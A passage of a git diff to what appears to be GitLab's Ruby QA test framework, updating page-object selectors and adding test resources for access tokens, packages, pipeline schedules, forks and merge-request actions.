@@ -9,6 +9,7 @@ module QA
view 'app/views/groups/edit.html.haml' do
element :permission_lfs_2fa_content
+ element :advanced_settings_content
end
view 'app/views/groups/settings/_permissions.html.haml' do
@@ -40,6 +41,16 @@ module QA
element :project_creation_level_dropdown
end
+ view 'app/views/groups/settings/_advanced.html.haml' do
+ element :select_group_dropdown
+ element :transfer_group_button
+ end
+
+ view 'app/helpers/dropdowns_helper.rb' do
+ element :dropdown_input_field
+ element :dropdown_list_content
+ end
+
def set_group_name(name)
find_element(:group_name_field).send_keys([:command, 'a'], :backspace)
find_element(:group_name_field).set name
@@ -106,6 +117,19 @@ module QA
click_element(:save_permissions_changes_button)
end
+
+ def transfer_group(target_group)
+ expand_content :advanced_settings_content
+
+ click_element :select_group_dropdown
+ fill_element(:dropdown_input_field, target_group)
+
+ within_element(:dropdown_list_content) do
+ click_on target_group
+ end
+
+ click_element :transfer_group_button
+ end
end
end
end
diff --git a/qa/qa/page/merge_request/new.rb b/qa/qa/page/merge_request/new.rb
index 8d0914bac4c..46b7bbeed84 100644
--- a/qa/qa/page/merge_request/new.rb
+++ b/qa/qa/page/merge_request/new.rb
@@ -8,8 +8,33 @@ module QA
element :issuable_create_button, required: true
end
+ view 'app/views/shared/form_elements/_description.html.haml' do
+ element :issuable_form_description
+ end
+
+ view 'app/views/projects/merge_requests/show.html.haml' do
+ element :diffs_tab
+ end
+
+ view 'app/assets/javascripts/diffs/components/diff_file_header.vue' do
+ element :file_name_content
+ end
+
def create_merge_request
- click_element :issuable_create_button, Page::MergeRequest::Show
+ click_element(:issuable_create_button, Page::MergeRequest::Show)
+ end
+
+ def has_description?(description)
+ has_element?(:issuable_form_description, text: description)
+ end
+
+ def click_diffs_tab
+ click_element(:diffs_tab)
+ click_element(:dismiss_popover_button) if has_element?(:dismiss_popover_button, wait: 1)
+ end
+
+ def has_file?(file_name)
+ has_element?(:file_name_content, text: file_name)
end
end
end
diff --git a/qa/qa/page/merge_request/show.rb b/qa/qa/page/merge_request/show.rb
index 0b6a3085a3a..e1790deb3ec 100644
--- a/qa/qa/page/merge_request/show.rb
+++ b/qa/qa/page/merge_request/show.rb
@@ -49,6 +49,7 @@ module QA
view 'app/views/projects/merge_requests/show.html.haml' do
element :notes_tab
+ element :commits_tab
element :diffs_tab
end
@@ -67,8 +68,11 @@ module QA
element :edit_in_ide_button
end
- view 'app/assets/javascripts/diffs/components/inline_diff_table_row.vue' do
+ view 'app/assets/javascripts/diffs/components/diff_row.vue' do
element :diff_comment_button
+ end
+
+ view 'app/assets/javascripts/diffs/components/inline_diff_table_row.vue' do
element :new_diff_line_link
end
@@ -104,6 +108,17 @@ module QA
element :suggestion_button
end
+ view 'app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_merged.vue' do
+ element :revert_button
+ element :cherry_pick_button
+ end
+
+ view 'app/assets/javascripts/vue_shared/components/markdown/apply_suggestion.vue' do
+ element :apply_suggestion_button
+ element :commit_message_textbox
+ element :commit_with_custom_message_button
+ end
+
def start_review
click_element(:start_review_button)
@@ -170,6 +185,10 @@ module QA
wait_for_requests
end
+ def click_commits_tab
+ click_element(:commits_tab)
+ end
+
def click_diffs_tab
click_element(:diffs_tab)
click_element(:dismiss_popover_button) if has_element?(:dismiss_popover_button, wait: 1)
@@ -219,18 +238,12 @@ module QA
end
def mark_to_squash
- # The squash checkbox is disabled on load
- wait_until do
- has_element?(:squash_checkbox)
- end
-
# The squash checkbox is enabled via JS
wait_until(reload: false) do
- !find_element(:squash_checkbox).disabled?
+ !find_element(:squash_checkbox, visible: false).disabled?
end
- # TODO: Fix workaround for data-qa-selector failure
- click_element(:squash_checkbox)
+ check_element(:squash_checkbox, true)
end
def merge!
@@ -349,6 +362,12 @@ module QA
click_element(:comment_now_button)
end
+ def apply_suggestion_with_message(message)
+ click_element(:apply_suggestion_button)
+ fill_element(:commit_message_textbox, message)
+ click_element(:commit_with_custom_message_button)
+ end
+
def add_suggestion_to_batch
all_elements(:add_suggestion_batch_button, minimum: 1).first.click
end
@@ -356,6 +375,16 @@ module QA
def apply_suggestions_batch
all_elements(:apply_suggestions_batch_button, minimum: 1).first.click
end
+
+ def cherry_pick!
+ click_element(:cherry_pick_button, Page::Component::CommitModal)
+ click_element(:submit_commit_button)
+ end
+
+ def revert_change!
+ click_element(:revert_button, Page::Component::CommitModal)
+ click_element(:submit_commit_button)
+ end
end
end
end
diff --git a/qa/qa/page/profile/personal_access_tokens.rb b/qa/qa/page/profile/personal_access_tokens.rb
index caa8c0ceb40..75ba69bafa6 100644
--- a/qa/qa/page/profile/personal_access_tokens.rb
+++ b/qa/qa/page/profile/personal_access_tokens.rb
@@ -6,64 +6,7 @@ module QA
module Page
module Profile
class PersonalAccessTokens < Page::Base
- view 'app/assets/javascripts/access_tokens/components/expires_at_field.vue' do
- element :expiry_date_field
- end
-
- view 'app/views/shared/access_tokens/_form.html.haml' do
- element :access_token_name_field
- element :create_token_button
- end
-
- view 'app/views/shared/tokens/_scopes_form.html.haml' do
- element :api_radio, 'qa-#{scope}-radio' # rubocop:disable QA/ElementWithPattern, Lint/InterpolationCheck
- end
-
- view 'app/views/shared/access_tokens/_created_container.html.haml' do
- element :created_access_token
- end
- view 'app/views/shared/access_tokens/_table.html.haml' do
- element :revoke_button
- end
-
- def fill_token_name(name)
- fill_element(:access_token_name_field, name)
- end
-
- def check_api
- check_element(:api_radio)
- end
-
- def click_create_token_button
- click_element(:create_token_button)
- end
-
- def created_access_token
- find_element(:created_access_token, wait: 30).value
- end
-
- def fill_expiry_date(date)
- date = date.to_s if date.is_a?(Date)
- Date.strptime(date, '%Y-%m-%d') rescue ArgumentError raise "Expiry date must be in YYYY-MM-DD format"
-
- fill_element(:expiry_date_field, date)
- end
-
- def has_token_row_for_name?(token_name)
- page.has_css?('tr', text: token_name, wait: 1.0)
- end
-
- def first_token_row_for_name(token_name)
- page.find('tr', text: token_name, match: :first, wait: 1.0)
- end
-
- def revoke_first_token_with_name(token_name)
- within first_token_row_for_name(token_name) do
- accept_confirm do
- click_element(:revoke_button)
- end
- end
- end
+ include Page::Component::AccessTokens
end
end
end
diff --git a/qa/qa/page/project/commit/show.rb b/qa/qa/page/project/commit/show.rb
index 8ece81f7088..f732eb6565e 100644
--- a/qa/qa/page/project/commit/show.rb
+++ b/qa/qa/page/project/commit/show.rb
@@ -6,10 +6,20 @@ module QA
module Commit
class Show < Page::Base
view 'app/views/projects/commit/_commit_box.html.haml' do
+ element :commit_sha_content
+ end
+
+ view 'app/assets/javascripts/projects/commit/components/commit_options_dropdown.vue' do
element :options_button
+ element :cherry_pick_button
element :email_patches
element :plain_diff
- element :commit_sha_content
+ end
+
+ def cherry_pick_commit
+ click_element(:options_button)
+ click_element(:cherry_pick_button, Page::Component::CommitModal)
+ click_element(:submit_commit_button)
end
def select_email_patches
diff --git a/qa/qa/page/project/fork/new.rb b/qa/qa/page/project/fork/new.rb
index bbdd4748f5c..5a08f6a3cbd 100644
--- a/qa/qa/page/project/fork/new.rb
+++ b/qa/qa/page/project/fork/new.rb
@@ -13,8 +13,18 @@ module QA
element :fork_groups_list_search_field
end
- def choose_namespace(namespace = Runtime::Namespace.path)
- click_element(:fork_namespace_button, name: namespace)
+ view 'app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue' do
+ element :fork_namespace_dropdown
+ element :fork_project_button
+ end
+
+ def fork_project(namespace = Runtime::Namespace.path)
+ if has_element?(:fork_namespace_button, wait: 0)
+ click_element(:fork_namespace_button, name: namespace)
+ else
+ select_element(:fork_namespace_dropdown, namespace)
+ click_element(:fork_project_button)
+ end
end
def search_for_group(group_name)
diff --git a/qa/qa/page/project/menu.rb b/qa/qa/page/project/menu.rb
index 16c66ea5761..cb7323ac62d 100644
--- a/qa/qa/page/project/menu.rb
+++ b/qa/qa/page/project/menu.rb
@@ -13,8 +13,7 @@ module QA
include SubMenus::Settings
include SubMenus::Packages
- view 'app/views/layouts/nav/sidebar/_project.html.haml' do
- element :activity_link
+ view 'app/views/layouts/nav/sidebar/_project_menus.html.haml' do
element :merge_requests_link
element :snippets_link
element :members_link
@@ -24,6 +23,10 @@ module QA
element :wiki_link
end
+ view 'app/views/shared/nav/_sidebar_menu_item.html.haml' do
+ element :sidebar_menu_item_link
+ end
+
def click_merge_requests
within_sidebar do
click_element(:merge_requests_link)
@@ -38,7 +41,7 @@ module QA
def click_activity
within_sidebar do
- click_element(:activity_link)
+ click_element(:sidebar_menu_item_link, menu_item: 'Activity')
end
end
diff --git a/qa/qa/page/project/pipeline/index.rb b/qa/qa/page/project/pipeline/index.rb
index 0f5a7e8c801..3cb466abce9 100644
--- a/qa/qa/page/project/pipeline/index.rb
+++ b/qa/qa/page/project/pipeline/index.rb
@@ -9,8 +9,11 @@ module QA
element :pipeline_url_link
end
- view 'app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table_row.vue' do
+ view 'app/assets/javascripts/pipelines/components/pipelines_list/pipelines_status_badge.vue' do
element :pipeline_commit_status
+ end
+
+ view 'app/assets/javascripts/pipelines/components/pipelines_list/pipeline_operations.vue' do
element :pipeline_retry_button
end
@@ -31,7 +34,7 @@ module QA
end
def wait_for_latest_pipeline_status
- wait_until(max_duration: 30, reload: true, sleep_interval: 5) { has_pipeline? }
+ wait_until(max_duration: 90, reload: true, sleep_interval: 5) { has_pipeline? }
wait_until(reload: false, max_duration: 360) do
within_element_by_index(:pipeline_commit_status, 0) { yield }
diff --git a/qa/qa/page/project/pipeline/show.rb b/qa/qa/page/project/pipeline/show.rb
index 994b1c02a3d..c5887b84be6 100644
--- a/qa/qa/page/project/pipeline/show.rb
+++ b/qa/qa/page/project/pipeline/show.rb
@@ -68,20 +68,30 @@ module QA
end
end
- def has_child_pipeline?
- has_element? :child_pipeline
+ def has_child_pipeline?(title: nil)
+ title ? find_child_pipeline_by_title(title) : has_element?(:child_pipeline)
end
def has_no_child_pipeline?
- has_no_element? :child_pipeline
+ has_no_element?(:child_pipeline)
end
def click_job(job_name)
click_element(:job_link, Project::Job::Show, text: job_name)
end
- def expand_child_pipeline
- within_element(:child_pipeline) do
+ def child_pipelines
+ all_elements(:child_pipeline, minimum: 1)
+ end
+
+ def find_child_pipeline_by_title(title)
+ child_pipelines.find { |pipeline| pipeline[:title].include?(title) }
+ end
+
+ def expand_child_pipeline(title: nil)
+ child_pipeline = title ? find_child_pipeline_by_title(title) : child_pipelines.first
+
+ within_element_by_index(:child_pipeline, child_pipelines.index(child_pipeline)) do
click_element(:expand_pipeline_button)
end
end
diff --git a/qa/qa/page/project/settings/access_tokens.rb b/qa/qa/page/project/settings/access_tokens.rb
new file mode 100644
index 00000000000..d559ca4daaa
--- /dev/null
+++ b/qa/qa/page/project/settings/access_tokens.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'date'
+
+module QA
+ module Page
+ module Project
+ module Settings
+ class AccessTokens < Page::Base
+ include Page::Component::AccessTokens
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/project/settings/ci_cd.rb b/qa/qa/page/project/settings/ci_cd.rb
index 7a910233d12..7224fdae10e 100644
--- a/qa/qa/page/project/settings/ci_cd.rb
+++ b/qa/qa/page/project/settings/ci_cd.rb
@@ -42,3 +42,5 @@ module QA
end
end
end
+
+QA::Page::Project::Settings::CICD.prepend_if_ee("QA::EE::Page::Project::Settings::CICD")
diff --git a/qa/qa/page/project/settings/integrations.rb b/qa/qa/page/project/settings/integrations.rb
index dd676c86486..6f5c50eac52 100644
--- a/qa/qa/page/project/settings/integrations.rb
+++ b/qa/qa/page/project/settings/integrations.rb
@@ -5,9 +5,9 @@ module QA
module Project
module Settings
class Integrations < QA::Page::Base
- view 'app/views/shared/integrations/_index.html.haml' do
- element :prometheus_link, 'data: { qa_selector: "#{integration.to_param' # rubocop:disable QA/ElementWithPattern
- element :jira_link, 'data: { qa_selector: "#{integration.to_param' # rubocop:disable QA/ElementWithPattern
+ view 'app/assets/javascripts/integrations/index/components/integrations_table.vue' do
+ element :prometheus_link, %q(:data-qa-selector="`${item.name}_link`") # rubocop:disable QA/ElementWithPattern
+ element :jira_link, %q(:data-qa-selector="`${item.name}_link`") # rubocop:disable QA/ElementWithPattern
end
def click_on_prometheus_integration
diff --git a/qa/qa/page/project/settings/merge_request.rb b/qa/qa/page/project/settings/merge_request.rb
index fe5d629effe..0b4a12dbb2e 100644
--- a/qa/qa/page/project/settings/merge_request.rb
+++ b/qa/qa/page/project/settings/merge_request.rb
@@ -20,11 +20,11 @@ module QA
end
def click_save_changes
- click_element :save_merge_request_changes_button
+ click_element(:save_merge_request_changes_button)
end
def enable_ff_only
- click_element :merge_ff_radio_button
+ click_element(:merge_ff_radio_button)
click_save_changes
end
diff --git a/qa/qa/page/project/settings/runners.rb b/qa/qa/page/project/settings/runners.rb
index af4dbb08430..aa1ac216ae2 100644
--- a/qa/qa/page/project/settings/runners.rb
+++ b/qa/qa/page/project/settings/runners.rb
@@ -10,12 +10,9 @@ module QA
element :coordinator_address, '%code#coordinator_address' # rubocop:disable QA/ElementWithPattern
end
- ##
- # TODO, phase-out CSS classes added in Ruby helpers.
- #
view 'app/helpers/ci/runners_helper.rb' do
# rubocop:disable Lint/InterpolationCheck
- element :runner_status, 'runner-status-#{status}' # rubocop:disable QA/ElementWithPattern
+ element :runner_status_icon, 'qa_selector: "runner_status_#{status}_content"' # rubocop:disable QA/ElementWithPattern
# rubocop:enable Lint/InterpolationCheck
end
@@ -28,7 +25,7 @@ module QA
end
def has_online_runner?
- page.has_css?('.runner-status-online')
+ has_element?(:runner_status_online_content)
end
end
end
diff --git a/qa/qa/page/project/settings/services/jira.rb b/qa/qa/page/project/settings/services/jira.rb
index eaa3e90db78..0a56aaa758e 100644
--- a/qa/qa/page/project/settings/services/jira.rb
+++ b/qa/qa/page/project/settings/services/jira.rb
@@ -10,7 +10,13 @@ module QA
element :service_url_field, ':data-qa-selector="`${fieldId}_field`"' # rubocop:disable QA/ElementWithPattern
element :service_username_field, ':data-qa-selector="`${fieldId}_field`"' # rubocop:disable QA/ElementWithPattern
element :service_password_field, ':data-qa-selector="`${fieldId}_field`"' # rubocop:disable QA/ElementWithPattern
- element :service_jira_issue_transition_id_field, ':data-qa-selector="`${fieldId}_field`"' # rubocop:disable QA/ElementWithPattern
+ end
+
+ view 'app/assets/javascripts/integrations/edit/components/jira_trigger_fields.vue' do
+ element :service_jira_issue_transition_enabled_checkbox
+ element :service_jira_issue_transition_automatic_true_radio, ':data-qa-selector="`service_jira_issue_transition_automatic_${issueTransitionOption.value}_radio`"' # rubocop:disable QA/ElementWithPattern
+ element :service_jira_issue_transition_automatic_false_radio, ':data-qa-selector="`service_jira_issue_transition_automatic_${issueTransitionOption.value}_radio`"' # rubocop:disable QA/ElementWithPattern
+ element :service_jira_issue_transition_id_field
end
view 'app/assets/javascripts/integrations/edit/components/integration_form.vue' do
@@ -23,7 +29,10 @@ module QA
set_jira_server_url(url)
set_username(Runtime::Env.jira_admin_username)
set_password(Runtime::Env.jira_admin_password)
- set_transaction_ids('11,21,31,41')
+
+ enable_transitions
+ use_custom_transitions
+ set_transition_ids('11,21,31,41')
click_save_changes_button
wait_until(reload: false) do
@@ -45,12 +54,24 @@ module QA
fill_element(:service_password_field, password)
end
- def set_transaction_ids(transaction_ids)
- fill_element(:service_jira_issue_transition_id_field, transaction_ids)
+ def enable_transitions
+ check_element(:service_jira_issue_transition_enabled_checkbox, true)
+ end
+
+ def use_automatic_transitions
+ choose_element(:service_jira_issue_transition_automatic_true_radio, true)
+ end
+
+ def use_custom_transitions
+ choose_element(:service_jira_issue_transition_automatic_false_radio, true)
+ end
+
+ def set_transition_ids(transition_ids)
+ fill_element(:service_jira_issue_transition_id_field, transition_ids)
end
def click_save_changes_button
- click_element :save_changes_button
+ click_element(:save_changes_button)
end
end
end
diff --git a/qa/qa/page/project/show.rb b/qa/qa/page/project/show.rb
index d2c258b90b5..d8c6b3881bd 100644
--- a/qa/qa/page/project/show.rb
+++ b/qa/qa/page/project/show.rb
@@ -22,7 +22,7 @@ module QA
element :file_tree_table
end
- view 'app/views/layouts/header/_new_dropdown.haml' do
+ view 'app/views/layouts/header/_new_dropdown.html.haml' do
element :new_menu_toggle
element :new_issue_link, "link_to _('New issue'), new_project_issue_path(@project)" # rubocop:disable QA/ElementWithPattern
end
diff --git a/qa/qa/page/project/sub_menus/ci_cd.rb b/qa/qa/page/project/sub_menus/ci_cd.rb
index 9405ea97fff..398712c04d2 100644
--- a/qa/qa/page/project/sub_menus/ci_cd.rb
+++ b/qa/qa/page/project/sub_menus/ci_cd.rb
@@ -13,7 +13,7 @@ module QA
base.class_eval do
include QA::Page::Project::SubMenus::Common
- view 'app/views/layouts/nav/sidebar/_project.html.haml' do
+ view 'app/views/layouts/nav/sidebar/_project_menus.html.haml' do
element :link_pipelines
end
end
diff --git a/qa/qa/page/project/sub_menus/issues.rb b/qa/qa/page/project/sub_menus/issues.rb
index 124faf0d346..384af3fb53e 100644
--- a/qa/qa/page/project/sub_menus/issues.rb
+++ b/qa/qa/page/project/sub_menus/issues.rb
@@ -13,7 +13,7 @@ module QA
base.class_eval do
include QA::Page::Project::SubMenus::Common
- view 'app/views/layouts/nav/sidebar/_project.html.haml' do
+ view 'app/views/layouts/nav/sidebar/_project_menus.html.haml' do
element :issue_boards_link
element :issues_item
element :labels_link
diff --git a/qa/qa/page/project/sub_menus/operations.rb b/qa/qa/page/project/sub_menus/operations.rb
index 042994062c7..af716d1af0d 100644
--- a/qa/qa/page/project/sub_menus/operations.rb
+++ b/qa/qa/page/project/sub_menus/operations.rb
@@ -13,7 +13,7 @@ module QA
base.class_eval do
include QA::Page::Project::SubMenus::Common
- view 'app/views/layouts/nav/sidebar/_project.html.haml' do
+ view 'app/views/layouts/nav/sidebar/_project_menus.html.haml' do
element :operations_link
element :operations_environments_link
element :operations_metrics_link
diff --git a/qa/qa/page/project/sub_menus/project.rb b/qa/qa/page/project/sub_menus/project.rb
index 4af640301b9..ecb3148b486 100644
--- a/qa/qa/page/project/sub_menus/project.rb
+++ b/qa/qa/page/project/sub_menus/project.rb
@@ -13,8 +13,8 @@ module QA
base.class_eval do
include QA::Page::Project::SubMenus::Common
- view 'app/views/layouts/nav/sidebar/_project.html.haml' do
- element :project_link
+ view 'app/views/shared/nav/_sidebar_menu.html.haml' do
+ element :sidebar_menu_link
end
end
end
@@ -22,7 +22,7 @@ module QA
def click_project
retry_on_exception do
within_sidebar do
- click_element(:project_link)
+ click_element(:sidebar_menu_link, menu_item: 'Project overview')
end
end
end
diff --git a/qa/qa/page/project/sub_menus/repository.rb b/qa/qa/page/project/sub_menus/repository.rb
index c78c7521b64..38fa57eacc8 100644
--- a/qa/qa/page/project/sub_menus/repository.rb
+++ b/qa/qa/page/project/sub_menus/repository.rb
@@ -13,7 +13,7 @@ module QA
base.class_eval do
include QA::Page::Project::SubMenus::Common
- view 'app/views/layouts/nav/sidebar/_project.html.haml' do
+ view 'app/views/layouts/nav/sidebar/_project_menus.html.haml' do
element :repository_link
element :branches_link
element :tags_link
diff --git a/qa/qa/page/project/sub_menus/settings.rb b/qa/qa/page/project/sub_menus/settings.rb
index b5058bacccd..531c4686345 100644
--- a/qa/qa/page/project/sub_menus/settings.rb
+++ b/qa/qa/page/project/sub_menus/settings.rb
@@ -13,11 +13,12 @@ module QA
base.class_eval do
include QA::Page::Project::SubMenus::Common
- view 'app/views/layouts/nav/sidebar/_project.html.haml' do
+ view 'app/views/layouts/nav/sidebar/_project_menus.html.haml' do
element :settings_item
element :general_settings_link
element :integrations_settings_link
element :operations_settings_link
+ element :access_tokens_settings_link
end
end
end
@@ -68,6 +69,14 @@ module QA
end
end
+ def go_to_access_token_settings
+ hover_settings do
+ within_submenu do
+ click_element :access_tokens_settings_link
+ end
+ end
+ end
+
private
def hover_settings
diff --git a/qa/qa/resource/events/base.rb b/qa/qa/resource/events/base.rb
index 4c5f54825b3..d96f5a30f05 100644
--- a/qa/qa/resource/events/base.rb
+++ b/qa/qa/resource/events/base.rb
@@ -24,6 +24,18 @@ module QA
"#{api_get_path}/events"
end
+ def fetch_events
+ events_returned = nil
+ Support::Waiter.wait_until(max_duration: max_wait, raise_on_failure: raise_on_failure) do
+ events_returned = yield
+ events_returned.any?
+ end
+
+ raise EventNotFoundError, "Timed out waiting for events" unless events_returned
+
+ events_returned
+ end
+
def wait_for_event
event_found = Support::Waiter.wait_until(max_duration: max_wait, raise_on_failure: raise_on_failure) do
yield
diff --git a/qa/qa/resource/events/project.rb b/qa/qa/resource/events/project.rb
index 0348f2f05f5..2560e6b9e3b 100644
--- a/qa/qa/resource/events/project.rb
+++ b/qa/qa/resource/events/project.rb
@@ -6,6 +6,13 @@ module QA
module Project
include Events::Base
+ def push_events(commit_message)
+ QA::Runtime::Logger.debug(%Q[#{self.class.name} - wait for and fetch push events"])
+ fetch_events do
+ events(action: 'pushed').select { |event| event.dig(:push_data, :commit_title) == commit_message }
+ end
+ end
+
def wait_for_merge(title)
QA::Runtime::Logger.debug(%Q[#{self.class.name} - wait_for_merge with title "#{title}"])
wait_for_event do
diff --git a/qa/qa/resource/fork.rb b/qa/qa/resource/fork.rb
index d0aaaae6a11..106d1d5548a 100644
--- a/qa/qa/resource/fork.rb
+++ b/qa/qa/resource/fork.rb
@@ -3,6 +3,8 @@
module QA
module Resource
class Fork < Base
+ attr_accessor :namespace_path
+
attribute :name do
upstream.name
end
@@ -31,6 +33,8 @@ module QA
def fabricate!
populate(:upstream, :user)
+ namespace_path ||= user.name
+
# Sign out as admin and sign is as the fork user
Page::Main::Menu.perform(&:sign_out)
Runtime::Browser.visit(:gitlab, Page::Main::Login)
@@ -43,11 +47,11 @@ module QA
Page::Project::Show.perform(&:fork_project)
Page::Project::Fork::New.perform do |fork_new|
- fork_new.choose_namespace(user.name)
+ fork_new.fork_project(namespace_path)
end
- Page::Layout::Banner.perform do |banner|
- banner.has_notice?('The project was successfully forked.')
+ Page::Project::Show.perform do |project_page|
+ raise ResourceFabricationFailedError, "Forking failed!" unless project_page.forked_from?(upstream.name)
end
populate(:project)
diff --git a/qa/qa/resource/group.rb b/qa/qa/resource/group.rb
index 135c3dea628..fb7236f9f4c 100644
--- a/qa/qa/resource/group.rb
+++ b/qa/qa/resource/group.rb
@@ -89,6 +89,19 @@ module QA
raise ResourceUpdateFailedError, "Could not update require_two_factor_authentication to #{value}. Request returned (#{response.code}): `#{response}`."
end
end
+
+ def change_repository_storage(new_storage)
+ post_body = { destination_storage_name: new_storage }
+ response = post Runtime::API::Request.new(api_client, "/groups/#{id}/repository_storage_moves").url, post_body
+
+ unless response.code.between?(200, 300)
+ raise ResourceUpdateFailedError, "Could not change repository storage to #{new_storage}. Request returned (#{response.code}): `#{response}`."
+ end
+
+ wait_until(sleep_interval: 1) { Runtime::API::RepositoryStorageMoves.has_status?(self, 'finished', new_storage) }
+ rescue Support::Repeater::RepeaterConditionExceededError
+ raise Runtime::API::RepositoryStorageMoves::RepositoryStorageMovesError, 'Timed out while waiting for the group repository storage move to finish'
+ end
end
end
end
diff --git a/qa/qa/resource/merge_request.rb b/qa/qa/resource/merge_request.rb
index fb450a61c9a..5a24bb32475 100644
--- a/qa/qa/resource/merge_request.rb
+++ b/qa/qa/resource/merge_request.rb
@@ -35,7 +35,7 @@ module QA
attribute :target do
Repository::ProjectPush.fabricate! do |resource|
resource.project = project
- resource.branch_name = project.default_branch
+ resource.branch_name = target_branch
resource.new_branch = @target_new_branch
resource.remote_branch = target_branch
end
@@ -62,6 +62,7 @@ module QA
@labels = []
@file_name = "added_file-#{SecureRandom.hex(8)}.txt"
@file_content = "File Added"
+ @target_branch = project.default_branch
@target_new_branch = true
@no_preparation = false
@wait_for_merge = true
diff --git a/qa/qa/resource/package.rb b/qa/qa/resource/package.rb
new file mode 100644
index 00000000000..1009353a296
--- /dev/null
+++ b/qa/qa/resource/package.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require 'securerandom'
+
+module QA
+ module Resource
+ class Package < Base
+ attr_accessor :name
+
+ attribute :project do
+ Project.fabricate_via_api! do |resource|
+ resource.name = 'project-with-package'
+ resource.description = 'Project with Package'
+ end
+ end
+
+ attribute :id do
+ packages = project.packages
+
+ return unless (this_package = packages&.find { |package| package[:name] == "#{project.path_with_namespace}/#{name}" }) # rubocop:disable Cop/AvoidReturnFromBlocks
+
+ this_package[:id]
+ end
+
+ def fabricate!
+ end
+
+ def fabricate_via_api!
+ resource_web_url(api_get)
+ rescue ResourceNotFoundError
+ super
+ end
+
+ def remove_via_api!
+ packages = project.packages
+
+ if packages && !packages.empty?
+ QA::Runtime::Logger.debug("Deleting package '#{name}' from '#{project.path_with_namespace}' via API")
+ super
+ end
+ end
+
+ def api_delete_path
+ "/projects/#{project.id}/packages/#{id}"
+ end
+
+ def api_get_path
+ "/projects/#{project.id}/packages"
+ end
+ end
+ end
+end
diff --git a/qa/qa/resource/pipeline_schedules.rb b/qa/qa/resource/pipeline_schedules.rb
new file mode 100644
index 00000000000..3d51bcdbce5
--- /dev/null
+++ b/qa/qa/resource/pipeline_schedules.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+module QA
+ module Resource
+ class PipelineSchedules < Base
+ attribute :id
+ attribute :ref
+ attribute :description
+
+ # Cron schedule form "* * * * *"
+ # String of integers in order of "minute hour day-of-month month day-of-week"
+ attribute :cron
+
+ attribute :project do
+ Resource::Project.fabricate! do |project|
+ project.name = 'project-with-pipeline-schedule'
+ end
+ end
+
+ def initialize
+ @cron = '0 * * * *' # default to schedule at the beginning of the hour
+ @description = 'QA test scheduling pipeline.'
+ @ref = project.default_branch
+ end
+
+ def api_get_path
+ "/projects/#{project.id}/pipeline_schedules/#{id}"
+ end
+
+ def api_post_path
+ "/projects/#{project.id}/pipeline_schedules"
+ end
+
+ def api_post_body
+ {
+ description: description,
+ ref: ref,
+ cron: cron
+ }
+ end
+
+ private
+
+ def resource_web_url(resource)
+ resource = resource.has_key?(:owner) ? resource.fetch(:owner) : resource
+ super
+ end
+ end
+ end
+end
diff --git a/qa/qa/resource/project.rb b/qa/qa/resource/project.rb
index 23e2ec07491..aaa882cffde 100644
--- a/qa/qa/resource/project.rb
+++ b/qa/qa/resource/project.rb
@@ -155,6 +155,10 @@ module QA
"#{api_get_path}/registry/repositories"
end
+ def api_packages_path
+ "#{api_get_path}/packages"
+ end
+
def api_commits_path
"#{api_get_path}/repository/commits"
end
@@ -175,6 +179,10 @@ module QA
"#{api_get_path}/pipelines"
end
+ def api_pipeline_schedules_path
+ "#{api_get_path}/pipeline_schedules"
+ end
+
def api_put_path
"/projects/#{id}"
end
@@ -262,7 +270,11 @@ module QA
def registry_repositories
response = get Runtime::API::Request.new(api_client, "#{api_registry_repositories_path}").url
+ parse_body(response)
+ end
+ def packages
+ response = get Runtime::API::Request.new(api_client, "#{api_packages_path}").url
parse_body(response)
end
@@ -282,6 +294,10 @@ module QA
parse_body(get(Runtime::API::Request.new(api_client, api_pipelines_path).url))
end
+ def pipeline_schedules
+ parse_body(get(Runtime::API::Request.new(api_client, api_pipeline_schedules_path).url))
+ end
+
private
def transform_api_resource(api_resource)
diff --git a/qa/qa/resource/project_access_token.rb b/qa/qa/resource/project_access_token.rb
new file mode 100644
index 00000000000..f5cd8798f19
--- /dev/null
+++ b/qa/qa/resource/project_access_token.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+require 'date'
+
+module QA
+ module Resource
+ class ProjectAccessToken < Base
+ attr_writer :name
+
+ attribute :id
+ attribute :project do
+ Project.fabricate!
+ end
+ attribute :token do
+ Page::Project::Settings::AccessTokens.perform(&:created_access_token)
+ end
+
+ def fabricate_via_api!
+ super
+ end
+
+ def api_get_path
+ "/projects/#{project.api_resource[:id]}/access_tokens"
+ end
+
+ def api_post_path
+ api_get_path
+ end
+
+ def name
+ @name || 'api-project-access-token'
+ end
+
+ def api_post_body
+ {
+ name: name,
+ scopes: ["api"]
+ }
+ end
+
+ def api_delete_path
+ "projects/#{project.api_resource[:id]}/access_tokens/#{id}"
+ end
+
+ def resource_web_url(resource)
+ super
+ rescue ResourceURLMissingError
+ # this particular resource does not expose a web_url property
+ end
+
+ def revoke_via_ui!
+ Page::Project::Settings::AccessTokens.perform do |tokens_page|
+ tokens_page.revoke_first_token_with_name(name)
+ end
+ end
+
+ def fabricate!
+ Flow::Login.sign_in_unless_signed_in
+
+ project.visit!
+
+ Page::Project::Menu.perform(&:go_to_access_token_settings)
+
+ Page::Project::Settings::AccessTokens.perform do |token_page|
+ token_page.fill_token_name(name || 'api-project-access-token')
+ token_page.check_api
+ # Expire in 2 days just in case the token is created just before midnight
+ token_page.fill_expiry_date(Time.now.utc.to_date + 2)
+ token_page.click_create_token_button
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/resource/registry_repository.rb b/qa/qa/resource/registry_repository.rb
index 1e43d93a784..3de409232dd 100644
--- a/qa/qa/resource/registry_repository.rb
+++ b/qa/qa/resource/registry_repository.rb
@@ -6,7 +6,7 @@ module QA
module Resource
class RegistryRepository < Base
attr_accessor :name,
- :repository_id
+ :tag_name
attribute :project do
Project.fabricate_via_api! do |resource|
@@ -15,9 +15,17 @@ module QA
end
end
+ attribute :id do
+ registry_repositories = project.registry_repositories
+
+ return unless (this_registry_repository = registry_repositories&.find { |registry_repository| registry_repository[:path] == name }) # rubocop:disable Cop/AvoidReturnFromBlocks
+
+ this_registry_repository[:id]
+ end
+
def initialize
@name = project.path_with_namespace
- @repository_id = nil
+ @tag_name = 'master'
end
def fabricate!
@@ -31,23 +39,57 @@ module QA
def remove_via_api!
registry_repositories = project.registry_repositories
- if registry_repositories && !registry_repositories.empty?
